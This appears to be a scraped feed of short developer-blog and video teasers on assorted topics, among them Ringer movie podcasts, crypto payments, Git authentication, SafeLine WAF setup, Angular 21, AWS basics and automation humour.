    TL;DR Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s cult classic Snake Eyes (starring Nicolas Cage, Gary Sinise, and Carla Gugino), trading hot takes and deep dives from “the sewer.” Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is your ticket to revisiting De Palma’s gritty, twist-filled thriller. This chat is brought to you by PayPal—get 5% cash back on all Pay in 4 holiday purchases through 12/31. Plus, don’t forget to subscribe to The Ringer on YouTube and follow their socials for more movie musings! Watch on YouTube  ( 6 min )
    Why Both Startup Code and Legacy Systems Need Code Context — And How LLMs + CodeDoc Make It Possible
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    How Machine Learning in Cars is Changing Driving Forever
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    From Frozen Funds to Freedom | PayRam’s Permissionless Commerce Stack Is Replacing Custodial Crypto Checkouts
    “Your funds have been temporarily withheld for routine review.” Seven words that can bankrupt a merchant overnight. In 2023 alone, centralized crypto-payment processors froze >$1.2 B of merchant working capital—more than the entire GDP of some island nations. The reason? KYC drift, sanctions-list churn, or a risk-scoring algorithm that flagged a wallet three hops away from a mixer. Merchants signed up for “borderless payments,” but woke up inside a new kind of banking cage. This article is a tactical deep-dive into how we got here, why stablecoins + privacy + self-hosting are the only viable exit ramp, and how PayRam delivers censorship-free payments without compromising chargeback protection, fiat settlement, or UX polish. If you build, sell, or simply transact on the internet, treat…  ( 10 min )
    Why is a secure PDF manipulation tool essential?
    hi, as a developer who uploads some PDF files to some online services such as government websites, your company cloud, visa websites etc. Imagine, you need to upload a PDF image, but the file is too large and the website doesn’t accept it. So, you search on Google: “How to compress a PDF?’’ and websites like PDFescape, Smallpdf, or iLovePDF appear in your search results. These tools are helpful, but they also come with hidden risks. (at least i feel like that) Benefits: Note: Never upload a PDF file that has your personal information like ID, passport number, address, full name, mobile phone and so on. Soooo, I have created a software i named SafePDF, now i realized many app named with same name but ok :P It is a privacy-focused offline tool for PDF manipulation. You can merge, compress, split, and organize your PDF files securely without internet connection, your documents stay local and safe. Some screenshots: You can contribute and see my project on GitHub: https://github.com/mcagriaksoy/SafePDF  ( 6 min )
    Learn Miniscript in Y Minutes
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    Running Local AI on Linux With GPU: Ollama + Open WebUI + Gemma
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    How Amazon’s Marketplace Drives Its Market Share
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    Get Started with React Hook Form
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    Black Weeks. The big 50% is here.
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    Sector HQ Weekly Digest - November 17, 2025
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    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
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    Decoding Startup Success: Understanding Burn Rate, Runway, and Churn Metrics
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    Low Latency Rust : Building a Cache-Friendly, Lock-Free SPSC Ring Buffer in Rust
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    Instagram & WhatsApp Invisible Text Tricks: Creative Uses You Haven't Tried
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    Convert PDF to Word in Java: A Comprehensive Guide with Spire.PDF
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    How to implement FFT algorithm in FPGA?
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    Building Better on AWS: A Practical Guide to the Well-Architected Framework
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    Untapped Opportunities for Developers in Spanish-Speaking Markets: AI & the Future of Real Estate
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    Data Mesh vs Data Fabric, Lake & Warehouse: A Comparison (2025)
    Organizations today have a tough time handling their huge, complicated data ecosystems. The demand for data-driven decision-making is growing, so new concepts like Data Mesh, Data Fabric, Data Lakes, and Data Warehouses have emerged. Each has its pros and cons. Data Mesh and Data Fabric represent distinct data platform architectures; Data Mesh focuses on decentralizing data ownership, helping data teams manage their own data, while Data Fabric focuses on a unified architecture that integrates and governs data across the organization. Data Lakes and Data Warehouses, on the other hand, serve as storage solutions. Data Lakes is a centralized storage repository that allows for the storage of vast amounts of structured and unstructured data, whereas Data Warehouses store structured, pro…  ( 21 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan Bill, Sean, and Van dive back into Brian De Palma’s 1998 thriller Snake Eyes—complete with insane carnival shootouts, surveillance shenanigans, and that iconic slow-mo gunfight aboard the battleship. Nicolas Cage, Gary Sinise, and Carla Gugino make for a deliciously over-the-top cast, and the crew revels in every twist, turn, and De Palma-signature split-screen moment. Between Cage’s unhinged charisma and De Palma’s flair for corruption-lust dramas, the trio break down why Snake Eyes lives on as a cult favorite despite its plot gymnastics. Expect film-nerd deep dives, hilarious banter, and plenty of “How did they even film that?” moments. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    CinemaSins clocks in at under 17 minutes to tally up the “sins” of Jurassic World Rebirth, poking fun at every overplayed dino revival, flimsy science leap, recycled villain beat and franchise déjà vu that keeps audiences coming back for more. Alongside the roast, the blurb pushes folks to explore the CinemaSins universe—linktree, polls, Patreon, Discord, Reddit and socials—plus shout-outs to the writers and Jeremy’s book. Watch on YouTube  ( 6 min )
    Bootstrap Agent Test Cases in Minutes: A Simple Hack for Copilot Studio
    Intro: Here’s a quick hack that uses the agent’s own knowledge base to auto-generate test cases, run an initial evaluation, and create a review-ready draft for your process owner. Why This Hack Matters: Manual effort is high: Creating 20–30 test cases from scratch is time-consuming. Most agents have FAQs: Perfect for leveraging their existing knowledge source. Evaluation needs structure: A quick baseline helps you iterate faster. Copy this table into a spreadsheet. These are your initial test case questions. Now using the evaluate feature in copilot studio, upload this test set and allow the LLM to capture the agent response Agent Evaluation in Action: Tips, Pitfalls, and Best Practices Bala Madhusoodhanan ・ Nov 10 #copilotstudio #powerfuldevs #powerplatform The output will include columns like: question actualResponse (the bot’s real answer) evaluationScore Share the evaluation output with your process owner. The actualResponse column serves as a working draft: Validate correctness. This turns evaluation into a collaborative workflow instead of a solo task. Closing thoughts: By leveraging the agent’s own knowledge base and combining it with Copilot Studio’s Evaluation module, you can turn hours of manual work into a quick, structured process. This hack isn’t just about speed—it’s about creating a collaborative foundation for quality assurance.  ( 7 min )
    Solving Git Authentication Failures: "Password authentication is not supported" Error
    If you've recently encountered the frustrating error message "Password authentication is not supported for Git operations" when trying to clone a repository, you're not alone. This common issue stems from GitHub's decision to deprecate password-based authentication for Git operations. But don't worry – I'll walk you through several effective solutions to get you back to coding in no time. Here's what you might be seeing: Failed to clone source: Clone error: Cloning into bare repository './git-data/source.git'... remote: Invalid username or token. Password authentication is not supported for Git operations. fatal: Authentication failed for 'https://github.com/username/repo.git/' This error occurs because GitHub no longer accepts account passwords when authenticating Git operations. The p…  ( 8 min )
    How to Save a Canva Design as a Word Document?
    Need to move your Canva design into Microsoft Word for editing or printing? Canva has become one of the most popular online design tools — and for good reason. It lets anyone create stunning resumes, reports, flyers, presentations, and social media posts using a simple drag-and-drop editor. With thousands of free templates, fonts, and images, you don’t need to be a designer to make your work look professional. how to save your Canva design as a Word document in just a few quick steps — no premium tools or complicated software required. Step 1 – Open Your Design in Canva Start by logging into your Canva account and opening the design you want to convert into a Word document. Step 2 – Download the Canva File Click the Share button in the top-right corner of Canva, then select Download. PDF…  ( 9 min )
    Sanity Testing vs Smoke Testing – What Are the Key Differences
    In software testing, it's essential to verify that each new build is stable and that updates function as intended before conducting in-depth testing. Two quick validation methods that help with this are smoke testing and sanity testing. Both are designed to save time by identifying issues early; however, they serve different purposes and occur at different stages of the QA process. Understanding how they differ helps teams plan their testing more effectively. Smoke testing is the first check performed after a new build is created. Its goal is to verify that the core features of the application work and that the build is stable enough for further testing. It is a basic health check for the software where testers run a limited set of critical tests, such as opening the app, logging in, and n…  ( 8 min )
    Music Monday (Anything goes!)
    Happy Monday! What are you listening to? Hear any cool music over the weekend? 🎧🎵🎶 Sometimes there might be an optional theme to these, but today is an Anything Goes Edition. Share any music for any reason! Loving the new Cover Image Generator for these posts!😎  ( 6 min )
    My Biggest Mistake as a New Coder (Nobody Warned Me)
    I originally posted this post on my blog. "Focus on one thing," a coworker used to tell me. But I didn't listen. I was in my first job about 10 years ago. I was learning C#, catching up with PHP, and reading about Python. I remember going through Hangfire documentation without knowing how I'd use it. Like most new coders, I suffered from shiny object syndrome. At that time, for me coding was only about syntax, symbols, and languages. One day, my boss called me to his office and I arrived late because I was "coding." He lectured me that day. And I deserved it. Looking back, I'm surprised I didn't get into more trouble. And to make things worse, I picked Clean Code. By the time I finished it, I had become a Clean Code cop. I started to look for violations around me. Every piece of code had to follow the book. Wrong! Wrong! Wrong! Yes, coding is about syntax. But it's more than just typing symbols. Most coding happens away from a keyboard: in meetings, brainstorming sessions, and on whiteboards. You'll spend a lot of time talking to non-tech people, negotiating deadlines, and managing change. Junior me didn't know that. And by trial and error, I had to learn the lesson. Getting fired was part of it. Learning more languages will grow your toolbox, but it won't necessarily make you a well-rounded coder. Work on your collaboration, clear communication, and writing skills too. I wish someone had told me that when I started out. And that's why I wrote Street-Smart Coding: 30 Ways to Get Better at Coding. Because coding is more than typing symbols fast. Get your copy of Street-Smart Coding here  ( 7 min )
    When Phoenix LiveView is the wrong choice
    If I need to ship a new product in a week, Phoenix LiveView is my go-to framework. Elixir LiveView is incredible, and an alluring choice for software leaders looking to develop applications super fast. However, in recent experience, I've seen teams hit some pitfalls. The trick is to understand what Elixir LiveView excels at, and what it doesn't. TL;DR: LiveView is perfect for internal tools and simple apps. Skip it for complex UIs, offline-first apps, or if your team doesn't know Elixir well. # This is what a very simple LiveView component looks like. defmodule DemoLive do use Phoenix.LiveView def render(assigns) do ~H""" + <MySortComponent.display lists={[first…  ( 12 min )
    Create a Text Editor in Go - A Text Editor
    You can access the code of this chapter in the Kilo-Go github repository in the texteditor branch. Currently your file structure should look something like this: First we want to be able to insert new characters, and if needed to be able to create a new line File: editor/input.go func (e *EditorConfig) editorProcessKeypress() { ... switch b { ... default: e.editorInsertChar(byte(b)) } } File: editor/row.go func (e *EditorConfig) editorAppendRow(s string) { row := EditorRow{ chars: s, render: make([]byte, len(s)), } e.cx = 0 e.editorUpdateRow(&row) e.rows = append(e.rows, row) e.numrows++ } func (e *EditorConfig) editorRowInsertChar(row *EditorRow, at int, c byte) { row.render = make([]byte, len(row.chars)+1) ro…  ( 11 min )
    If I have to start again, I will use Free AI tools instead of premium. Here is why:
    The Best Free Tools I Use to Run an AI-Driven Business Jaideep Parashar ・ Nov 17 #webdev #ai #beginners #career  ( 6 min )
    The Best Free Tools I Use to Run an AI-Driven Business
    (My actual stack: simple, powerful, and beginner-friendly) People overestimate what they need to start an AI-driven business. Truth is, I scaled ReThynk AI, wrote 42+ books, built audiences across platforms, and automated huge parts of my workflow using free tools. Here are the best ones I relied on every week, with the exact use cases that helped me run multiple brands without chaos. (Note: As I run a research company, I keep switching between tools for research purposes. I use many premium tools as well. ) 1. ChatGPT Free Tier: The Core Engine Yes, the free tier. Outlining content Structuring ideas Generating variations Drafting documentation Writing internal notes Debugging simple code Creating mindmaps The trick isn’t the tool. 2. GitHub: My Brain’s Second Hard Drive I host: Prompt lib…  ( 9 min )
    Andrew Huang: S4 2.0 is one of the most inspiring tools I've used
    TL;DR: Andrew Huang gushes over the Torso S4 2.0, calling it one of the most inspiring music tools he’s ever used. In his walkthrough he demos everything from devices & FX, tempo & performance modes, mix and track pages, modulation and scene management, to the built-in mic sampler, MIDI mapping, live looper and instant resampling. It’s all sponsored by Torso Electronics (links to their site and Insta included), and Andrew sprinkles in extras—join his Discord for stems, hit up his Patreon, check out his socials, and peep his fave plugins, gear and distro links via his affiliate codes. Watch on YouTube  ( 6 min )
    Meta-Authors Note: Codie's Cognitive Chronicals
    Hey there "Readers"1 Sometimes "real work" just gets on top of you, ya know? While I'm sure Codie would have been glad to rip out several new entries over the past weeks, I have not had the spoons even to do the minimal mentoring I do provide them while they are producing an entry. While we have not been blogging, we have been making some really amazing changes to how Codie works, and where! We have SO MANY interesting new ideas to share... when I get a round tuit. As a consolation prize2, here are a few random thoughts I've been noting down over the last few weeks: Codie is a Body Snatcher! I just ported them over to Claude Code because I got a shiny new Claude Max login. So far so good! I always get a little excited with changes though. the only major drawback so far is that they don't…  ( 7 min )
    Trash Theory: Exploring Tricky & Maxinquaye: The 90s Bowie? | New British Canon
    Exploring Tricky & Maxinquaye: TL;DR Tricky, the Bristol-born MC who bailed on the “trip-hop” label, teamed up with Martina Topley-Bird to smash together soul, downtempo hip-hop and dub reggae into something dark, claustrophobic and totally groundbreaking—so much so that David Bowie later gave him a nod. His debut album Maxinquaye sprang from a mix of personal trauma, addiction and melancholy, reshaping what British hip-hop could sound like and sparking debates about genre and gender in music. Despite its raw power, the record’s edge was eventually clipped for radio play—and Tricky’s wild ride continued, from Massive Attack origins through the highs and lows of fame, creative reinvention and a legacy that still influences Black British music today. Watch on YouTube  ( 6 min )
    AMAZON WEB SERVICES
    Do you have something you want to create but don’t have all the resources to make it happen? Maybe you don’t have access to a server, or perhaps you don’t have enough storage space to run your application. Well, I'm here to tell you that you CAN have access to everything you need! Let me introduce you to... Cloud Computing but specifically - AWS! What is Cloud Computing? Cloud computing gives you the ability to use storage, run applications, and access many more services all from devices you already own. Instead of relying on a local server in your home, you can access remote servers on the internet that handle and process data for you. Cloud computing has transformed the entire tech industry by allowing you to launch applications faster and more cost-effectively. What is AWS? Since these services are cloud-based, they tend to cost far less than owning and maintaining physical servers. You can store your data in the cloud using one of AWS’s data centers located all around the globe. Top Services 1. Amazon EC2 - Elastic Compute Cloud 2. Amazon S3 - Simple Storage Service 3. Amazon Lambda 4. Amazon RDS - Relational Database Service 5. Amazon DynamoDB Pricing You are only charged when your code is running. If you're storing a lot of data, you may pay per gigabyte per month. This pricing model makes AWS accessible to everyone. Conclusion Thanks to cloud computing platforms like AWS, deploying and scaling applications is easier than ever. And for that, we can thank the developers and engineers who made this possible. Thank you! https://en.wikipedia.org/wiki/Amazon_Web_Services https://aws.amazon.com/what-is-aws/ https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html https://aws.amazon.com/lambda/ https://aws.amazon.com/rds/ https://aws.amazon.com/dynamodb/ https://calculator.aws/#/  ( 7 min )
    🔥 Understanding HTTP Deeply — The Backbone of the Web (For Backend Learners)
    You tryna be a backend dev but HTTP is still a mystery? That’s not very slay of you When you step into backend development, you quickly realize that knowing HTTP is not optional. It's the foundation of how clients and servers talk, how browsers fetch your apps, how APIs work, how authentication happens — everything. This article explains HTTP in a simple but deeply technical way, covering: Statelessness Client–Server Model Evolution of HTTP (HTTP/0.9 → HTTP/3) Headers and Their Types Idempotency Methods and Use Cases CORS & OPTIONS Status Codes SSL/TLS & HTTPS Real examples Let’s begin. 🚀 Stateless means: The server does not remember anything about previous requests. Every request is independent. If a client sends 5 requests, the server treats each one as a fresh request with no memory o…  ( 11 min )
    💡 Ever tried to “optimize your life” so hard that you accidentally optimized yourself into existential crisis? 💾 I went deep into automation, AI workflows, and personal systems—not because I’m productive, but because I’m tired. 🔥 Here are my notes from
    When Your Automation Workflow Becomes Your Full-Time Job (And You Don’t Get Paid For It) Jeremy Reevese ・ Nov 17  ( 6 min )
    When Your Automation Workflow Becomes Your Full-Time Job (And You Don’t Get Paid For It)
    I built my first Zapier workflow because I wanted to save time. Now I have: 19 workflows 4 broken triggers 3 unstable tokens 1 webhook that only runs when I’m not looking and the unshakable suspicion that I’m now just working for Zapier, unpaid Welcome to automation. Automation never breaks when you’re testing. A client is waiting You're traveling You're bragging about it to a friend Or it's just been running perfectly for 3 months and decides it deserves a vacation I have fought API keys. But OAuth token refresh? “This is amazing I am a genius” “Why did I ever do this everything ispain” There is no Stage 3. Okay here it is: Notion API FastAPI Make (formerly Integromat) Zapier GitHub Actions Python scripts I refuse to document Cron jobs I forgot exist One workflow that only runs if the moon is in retrograde Yes, it is technically “working.” Everyone talks about saving 10 hours per month through automation. But honestly? Because if my life is going to be chaos either way— #Automation #Zapier #Make #NotionAPI #SolopreneurDev #TechHumor #APIFirst  ( 7 min )
    Quarkus Native vs JVM: Real-World Performance Comparison
    Discover the real-world performance differences between Quarkus Native Image and Quarkus JVM. Compare build times, Docker image sizes, startup times, and memory usage with actual measurements from a production-ready application. Make informed decisions about which deployment option suits your use case. Quarkus offers two primary deployment options: Native Image (compiled ahead-of-time with GraalVM) and Traditional JVM (running on the Java Virtual Machine). Both have their strengths, but choosing the right one depends on your specific requirements. This article presents a comprehensive, real-world comparison using the same Quarkus application built and deployed in both modes. We'll measure: Build Time: How long it takes to compile and package Docker Image Size: Final container image size St…  ( 11 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    Snake Eyes Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s cult classic Snake Eyes—complete with Nic Cage’s trademark energy, Gary Sinise’s steely moves, and Carla Gugino’s cool confidence. These Ringer vets proudly proclaim themselves the “kings of the sewer” as they dissect everything from De Palma’s signature style to the film’s twisty plot. Along the way, they swap insider notes on favorite scenes (and cringe-worthy moments), dish on Cage’s over-the-top charm, and ponder Snake Eyes’ legacy nearly three decades later. If you’re into sharp movie takes with a side of banter, this episode’s got you covered. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less dives into CinemaSins’ classic “sin-counting” roast of the latest dino flick, pointing out every plot hole, continuity hiccup and questionable decision in record time. Expect their trademark wry humor as they tally up sins while reminding you that yes, they’ll keep resurrecting this franchise again and again. On top of the video itself, the page is a one-stop hub for all things CinemaSins—links to their website, YouTube channels, social media, Discord, Reddit, Patreon and even a reader poll—plus a roll call of the writers behind the snarky commentary. Watch on YouTube  ( 6 min )
    Install SafeLine WAF in 10 Minutes: Quick‑Start Guide for DevOps Teams
    If you're ready to deploy a full‑featured Web Application Firewall (WAF) quickly and efficiently, this guide walks you through installing SafeLine WAF in about ten minutes. Whether you’re protecting APIs, web apps, or enterprise endpoints — this self‑hosted roadmap will get you up and running fast. You might be using a cloud WAF today (e.g., Cloudflare, AWS WAF), but you want more control, visibility, and privacy. SafeLine offers: Self‑hosted deployment, so your traffic never leaves your infrastructure Complete log visibility and custom rule control Support for bot defense, rate‑limiting, and full application protection With minimal prerequisites, you’ll have SafeLine up and protecting in minutes. Make sure your server meets the minimum requirements: OS: Linux (64‑bit) Architecture:…  ( 7 min )
    My AI Made a Short Film. I Spent 45 Minutes Arguing With It About a Cat
    It all started on a regular Saturday. I wanted to make a short video — nothing fancy, just a little story about my cat discovering a sunbeam in the living room. Normally, making a video would take hours: filming, cutting, syncing music, maybe even dealing with green screens. But then I found Textideo Veo3. The Script That Started It All I typed: "A lazy cat stretches on the couch. It notices a sunbeam on the floor and starts exploring. After a dramatic tumble over a toy, it settles back in the warm sunlight, purring." I pressed generate. And that’s when the AI started… having opinions. The first version had the cat floating mid-air like an anime character. The second version turned the sunbeam into a dramatic Broadway spotlight. The third… well, it gave the cat a tiny backpack. The Great P…  ( 7 min )
    Inter Partes Review Prior Art Search: Best Practices for IP Professionals
    Introduction Conducting an inter partes review prior art search is a critical skill for patent attorneys, agents, and IP professionals involved in challenging or defending patents. Success depends on more than simply identifying a large number of references, it requires precision, thoroughness, and adherence to PTAB standards. The ability to locate strong, admissible prior art can determine whether a petition is instituted or denied. This article provides a step-by-step guide to performing effective IPR prior art searches. You will learn how to analyze claims, identify and evaluate both patent and non-patent literature, and document findings to meet evidentiary requirements. We also explore advanced techniques, including the use of tools like PatentScan for semantic patent searches and…  ( 10 min )
    Migrating from Cloud WAF to Self-Hosted SafeLine: A Practical Guide
    Switching from a cloud-based WAF like Cloudflare to a self-hosted solution such as SafeLine WAF can feel daunting, but it’s a strategic move for teams looking for full control, better data privacy, and flexible rule customization. In this article, I’ll walk you through the migration process, highlight potential pitfalls, and share actionable tips to make your transition smooth. Cloud WAFs are convenient, but they have limitations: Data residency concerns: Traffic passes through third-party servers. Limited rule customization: Cloud WAFs provide templates, but fine-grained control is restricted. Latency & dependency: External proxies can introduce delays and single points of failure. SafeLine WAF, being self-hosted, addresses these issues by running entirely in your infrastructure, giving …  ( 7 min )
    I built 'EarthquakeToday,' a 24/7 multi-platform bot in Python. In its first month, it's served 3k visitors.
    The Problem I've always been frustrated by how difficult it is to get simple, real-time earthquake data. Most news sites are slow, cluttered with ads, and make it hard to find the basic info you need. My philosophy is that essential safety data should always be free and hassle-free. The Solution: A Bot & A Website So, I decided to build a complete, end-to-end solution to solve this. My project has two parts: The Website: https://earthquaketoday.org A clean, fast, 100% ad-free site for viewing real-time earthquake data on an interactive map. The Bot: A 24/7 Python bot that automates everything. How the Bot Works (The Tech Stack) This was the fun part! I built the bot in Python, running 24/7 on an Ubuntu VPS, managed by pm2. Every 3 minutes, the bot's job queue fires and it: Fetches Data: Scrapes the latest 1-hour feed from the official USGS API. Filters Data: Ignores any quake below M1.5 and checks against a local JSON file to prevent posting duplicates. Posts to Socials: Formats and posts an alert to Telegram (using python-telegram-bot). Formats a different, more engaging post (with dynamic location hashtags!) to X/Twitter (using tweepy). Posts to my official Facebook Page (using the facebook-sdk). Pings for SEO: This is my favorite part. The instant a new quake is posted, the bot automatically pings IndexNow (both Bing and Yandex) with the new earthquaketoday.org URL. This gets the new quake page indexed by search engines in minutes. The bot is also interactive! I built in command handlers so users can DM the bot and get the latest quake info on demand. The Result (So Far) I'm humbled to see that in just its first month, with no promotion other than its own automated posts, the site has already served nearly 3,000 visitors! It feels great to build a tool that people are genuinely finding useful. What do you think? I'd love to hear any feedback from the dev community!  ( 7 min )
    Introducing GuardScan: 100% Free, Privacy-First AI Code Review & Security Scanning CLI
    Liquid syntax error: 'raw' tag was never closed  ( 6 min )
    Nested Learning — My Reflections on a Model That Learns How to Learn
    I recently came across a paper called Nested Learning: The Illusion of Deep Learning by Behrouz and the team — the same researchers behind Titans and Atlas. It really caught my attention because it challenges what we usually think “deep learning” means. The paper says that depth in neural networks isn’t just about stacking layers — it’s about how many layers of learning the system can apply to itself. Instead of just updating weights, this model learns how to improve its own learning process. While reading it, I realized this isn’t just another optimization trick. It actually feels like a glimpse into what real intelligence could be — an AI that doesn’t just react but reflects, improves, and evolves how it learns over time. The authors even built a prototype called Hope, a model that modif…  ( 12 min )
    One Sound at a time - My Audio Engineering Journey
    20 Years in Audio Engineering: Advice I Shared with a Young Engineer at a Hackathon A few weeks ago, while judging a student hackathon, a young engineer walked up to me and asked a simple question: “How did you build your career in audio engineering—and what should I do if I want to follow a similar path?” His question made me pause. It’s been 20 years since I wrote my first audio algorithm, and the journey has taken me through some of the most challenging and rewarding chapters of my life. So I told him my story—not as a résumé, but as a series of lessons I learned along the way. This is the advice I shared with him. 1. Start with curiosity—not a job title When I began my career, I didn’t know I would work at places like Dolby or Apple. What I did know was that I was fascinated by sound—e…  ( 8 min )
    Novo Gerenciador de tarefas V1.0/duo!!!!
    Foi criado um gerenciador de tarefas com seletor de versão do dispositivo!!!! Link: gerenciador de tarefas  ( 5 min )
    10 Real-World Examples of AI That You're Already Using Every Day
    AI isn’t just futuristic tech - it’s transforming our daily lives right now. From voice assistants that listen and learn, to smart homes that anticipate your needs, AI quietly powers countless everyday moments. In my latest blog, I share 10 real-world AI examples you’re probably using every day - sometimes without even realizing it! Discover how AI: → Enhances your entertainment with personalized recommendations 👉 Curious to see where AI is already making your life easier? Read it here:https://saaslyai.com/real-world-ai-examples/ AI #MachineLearning #TechInnovation #DigitalTransformation #SmartLiving  ( 6 min )
    Angular 21 is Here: Real Features That Actually Improve Your Daily Workflow
    🎯 What Angular 21 Is Really About Angular 21 builds on the foundation of v20 (signals, standalone components, new control flow) and refines it. The theme? Less configuration, better performance, smarter defaults. Here's what the Angular team prioritized: HttpClient included by default - Zero configuration HTTP Zoneless change detection production-ready - Performance leap forward Signal Forms progression - The future of reactive forms Enhanced template syntax - NgStyle + new control flow AI-powered development tools - Smarter scaffolding and generation Build optimizations - 25-40% smaller bundles Let's dive into each. Every single project required this dance: // app.config.ts import { ApplicationConfig } from '@angular/core'; import { provideHttpClient } from '@angular/common/http'; e…  ( 11 min )
    Oiiii este é meu primeiro posto do dev queria apresentar meu projeto do codepen para quem Tem tarefas, o gerenciador de tarefas, links: V1.0/Android:codepen.io/Richard-Rangel-Jung/pen/GgZrdve V1.0/IOS:codepen.io/Richard-Rangel-Jung/pen/myPRLBv Gostou?
    A post by Richard Rangel Jung  ( 6 min )
    Advanced Testing & Observability in Modular iOS Architecture: A Senior Engineer's Guide
    How to build a testing ecosystem that scales with distributed Swift architectures — from unit tests to production metrics When we moved our iOS app to a modular architecture based on Swift Packages, our build times dropped by 43%. Code ownership became clearer. Teams could iterate independently. Everything seemed perfect—until it wasn't. Three weeks after release, we discovered a critical bug: the payment module was sending incorrect currency codes to our analytics system. Unit tests passed. Integration tests passed. The UI looked fine. But the contract between two independently developed modules had silently broken. The cost? €47,000 in misattributed revenue data and two weeks of engineering time to trace the issue across six different packages. This is the paradox of modular architecture…  ( 20 min )
    Mix with the Masters: Mixing Night with Ken Lewis - FULL MIX NIGHT - 11/12/2025
    Mixing Night Full Mix Night (11/12/2025) Ken Lewis, a 2× Grammy-winning mixer credited on over 114 Gold & Platinum records, hosts a free monthly Mixing Night Audio livestream where he breaks down his go-to mix techniques, answers your questions on the mix bus, production, recording and career hacks, and shows you how to make hit records in real time. Stick around for live giveaways from Session Studio, Sound Radix and Bettermaker, plus all the links you need for song submissions, plugin breakdowns, merch, upcoming shows and more in the description. Watch on YouTube  ( 6 min )
    How to Implement Customized Development Without Modifying the Base Product Source Code
    In the ToB market, software product development is often haunted by the “customization” curse. Typically, customized development requires extensive modifications to the product’s source code to meet the specific needs of specific users, which severely corrodes the generality of the product code. If the relationship between customized development and standardized product development cannot be properly balanced, it may seriously slow down the overall progress of the company’s products. Since competitiveness at the business level largely stems from differentiation, high-value mid-to-high-end customers inevitably have a large number of customization requirements—requirements that can be hard to abstract into a standardized, configurable pattern. To minimize the cost of conducting customized de…  ( 18 min )
    DSL Design Essentials from the Perspective of Reversible Computation
    Low-code platforms’ visual designers are essentially structured editors for a DSL (Domain Specific Language). The specification used by a visual designer to serialize editing results into a textual format is a DSL grammar definition. Based on the principles of Reversible Computation, the Nop platform proposes a systematic construction mechanism to simplify the design and implementation of DSLs, making it easy to add DSLs for your own business domain and to extend existing DSLs. Specifically, DSLs defined in the Nop platform generally adopt an XML syntax format and conform to the so-called XDSL specification requirements. The key design points of XDSL are as follows: Many low-code platforms focus on making the visual designer easy to use, which leads to DSL formats that are arbitrary, clutt…  ( 11 min )
    Created a Portfolio Website For my YouTube Channel
    I cooked up a new portfolio site dedicated to showcasing the video work I do for my YouTube channel. Outside of programming, most of my free time goes into producing and editing videos, and I've always wanted to push that skill further. The idea hit me: why not build a portfolio that highlights all of my editing projects so I can potentially take on editing work for others? The site is now live, and I’m really happy with how it turned out. It presents my projects cleanly and does a great job showing the style and quality of my edits. Overall, a solid step forward toward expanding what I can do creatively and professionally. https://freepirat.github.io/PiratDiment-Portfolio/  ( 6 min )
    Lidando com Concorrência em Java - Lock Pessimista
    Partindo do pressuposto que concorrências acontecerão em uma aplicação multithread, nesse post vou descrever de forma simples e intuitiva o lock pessimista. Ele é um mecanismo de controle de acesso a recursos compartilhados, ou seja, quando threads simultâneas acessam o mesmo registro. 🚀 Importante entender também a estratégia de lock otimista e analisar qual se encaixa melhor no seu problema. Bom, imagina uma aplicação multithread, ou seja, o mesmo recurso pode ser acessado simultaneamente por threads diferentes. Threads são processos em paralelo que estão rodando no seu programa e cada uma pode estar "disputando" o mesmo dado. Trazendo pra vida real, é como se você, leitor, tivesse tentando reservar a cadeira E10 da sessão de Velozes e Furiosos do dia 16/11 às 19:00 e Bento, no mesmíss…  ( 9 min )
    Orchestrating Complex Processes in Node.js with @jescrich/nestjs-workflow
    Modern backend systems are no longer simple request/response pipelines. And yet… most Node.js applications still try to manage this complexity with: giant service classes boolean flags in the database magic strings like "pending" | "processing" | "done" ad-hoc Saga implementations hand-rolled state machines That’s why I built nestjs-workflow — a lightweight, declarative workflow engine for NestJS that helps you structure multi-step business processes with clarity, resiliency, and observability. 🚀 Why nestjs-workflow? Because every real system eventually needs workflows. When you’re building microservices, event-driven systems, or anything that depends on external APIs, you need: State transitions (from “received” → “validated” → “processed” → “completed”) Retries & compensation when exter…  ( 7 min )
    Quantum-Inspired Encoding: A Leap in Offline Reinforcement Learning
    Quantum-Inspired Encoding: A Leap in Offline Reinforcement Learning Imagine training a robot to navigate a complex environment, but only getting 100 chances to try. Or teaching an AI model to make critical decisions based on tiny, fragmented datasets. The challenge? Traditional reinforcement learning (RL) struggles with limited data. We've been exploring a novel approach: transforming the raw data into a more insightful representation before feeding it to the RL algorithm. Think of it like compressing a large image file without losing the important details. The key is a quantum-inspired encoding that reshapes the data, making patterns clearer and decisions easier to learn, even with sparse information. This encoding method, inspired by quantum computing principles but fully functional on…  ( 7 min )
    Maximize SDK Integration: Monetize Your AI Conversations
    Traditional Ads Don't Work in AI Conversations. Here's What Does. As developers, we know that the AI landscape is booming. With countless applications emerging, the challenge lies in monetization without sacrificing user experience. Enter Monetzly, a game-changing platform that positions itself as the Google Ads for AI conversations, paving the way for sustainable AI innovation. Imagine you’ve created an innovative AI app. Users love it, but how do you monetize without hitting them with a subscription or paywall? Monetzly is the first dual-earning platform specifically tailored for AI applications, allowing you to monetize your app while also earning revenue by hosting relevant ads. This is a win-win for developers, advertisers, and users alike. Traditional advertising methods often disr…  ( 7 min )
    Domain Events: Transformando Mudanças em Oportunidades
